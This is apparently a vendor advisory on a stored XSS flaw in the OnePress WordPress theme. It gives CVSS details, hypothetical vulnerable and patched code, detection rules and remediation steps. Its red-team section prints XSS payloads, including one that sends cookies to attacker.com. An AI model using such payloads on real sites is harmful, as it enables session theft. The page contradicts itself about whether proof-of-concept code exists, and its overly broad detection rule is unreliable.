CVE-2024-38739
Executive Summary
CVE-2024-38739 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the OnePress WordPress theme by FameThemes, versions up to and including 2.3.8. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a site administrator or other user views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low immediate exploitation likelihood, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the WordPress theme ecosystem. The OnePress theme is distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme from untrusted sources may be at higher risk if the package has been tampered with. Administrators should verify the theme’s integrity by checking its checksum against the official repository. No known supply chain compromise has been reported for this specific CVE.
CVSS Breakdown & Threat Level
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.1 (Medium)
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required – The victim must view the malicious content.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used theme could lead to significant damage if exploited in a targeted campaign.
Deep Dive & Mechanics
The OnePress theme fails to properly sanitize user input when rendering certain fields (e.g., customizer options, post/page content, or widget areas). An attacker with contributor-level access can inject malicious JavaScript into a field that is later displayed to other users. The stored payload persists in the database and executes whenever the affected page is loaded.
Root Cause: The theme uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) on user-controllable input. This allows HTML and JavaScript to be stored and rendered unsanitized.
Attack Flow:
- Attacker logs in as a contributor or higher.
- Attacker creates or edits a post/page and injects a malicious script into a vulnerable field (e.g., custom CSS, meta box, or theme customizer).
- The script is stored in the WordPress database.
- When an administrator or visitor views the affected page, the script executes in their browser.
- The script can steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (OnePress <= 2.3.8):
// Example: Outputting a custom CSS field without sanitization
echo get_theme_mod('onepress_custom_css');
Patched Code (Hypothetical):
// Properly escape output
echo esc_html( get_theme_mod('onepress_custom_css') );
Key Difference: The patched version uses esc_html() to neutralize any HTML/JavaScript before output. The vulnerable version directly echoes the raw input.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with OnePress theme <= 2.3.8
- Contributor-level account or higher
Steps:
- Log in to WordPress as a contributor.
- Navigate to Appearance > Customize or Posts > Add New.
- Locate a field that is not properly sanitized (e.g., custom CSS, header script, or meta description).
- Inject the following payload:
<script>alert('XSS')</script> - Save the changes.
- As an administrator, visit the affected page. The alert box will execute.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress logs for unusual post/page edits by low-privilege users.
- Search the database for suspicious script tags:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%'; - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Restrict contributor-level access to only trusted users.
Indicators of Compromise (IOCs)
- File Indicators:
- Modified theme files (e.g.,
wp-content/themes/onepress/functions.php) containing unsanitized output.
- Modified theme files (e.g.,
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal).
- Outbound HTTP requests to attacker-controlled domains (e.g.,
- Database Indicators:
- Rows in
wp_posts,wp_options, orwp_postmetacontaining<script>tags.
- Rows in
- Log Indicators:
- Unusual user-agent strings or referrer headers in access logs.
- Repeated edits by the same user in a short timeframe.
Detection Engineering
YARA Rule
rule CVE_2024_38739_OnePress_XSS {
meta:
description = "Detects OnePress theme files with unsanitized output"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-38739"
strings:
$s1 = "get_theme_mod("
$s2 = "echo get_theme_mod"
$s3 = "the_content("
$s4 = "echo the_content"
condition:
any of ($s*) and filesize < 500KB
}
Sigma Rule
title: CVE-2024-38739 OnePress Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS in OnePress theme
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.response.body|contains: '<script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-38739 OnePress Stored XSS Attempt"; flow:to_server,established; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the OnePress theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
- Restrict user roles – Only grant contributor access to trusted users.
- Implement a WAF – Use a web application firewall to block XSS payloads.
- Monitor logs – Review access and error logs for suspicious activity.
Long-Term Fix:
- Apply the official patch once released by FameThemes.
- If no patch is forthcoming, consider forking the theme and manually adding input sanitization using WordPress functions like
esc_html(),wp_kses_post(), orsanitize_text_field().
Workaround:
- Use a security plugin (e.g., Wordfence, Sucuri) to add virtual patching for XSS.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.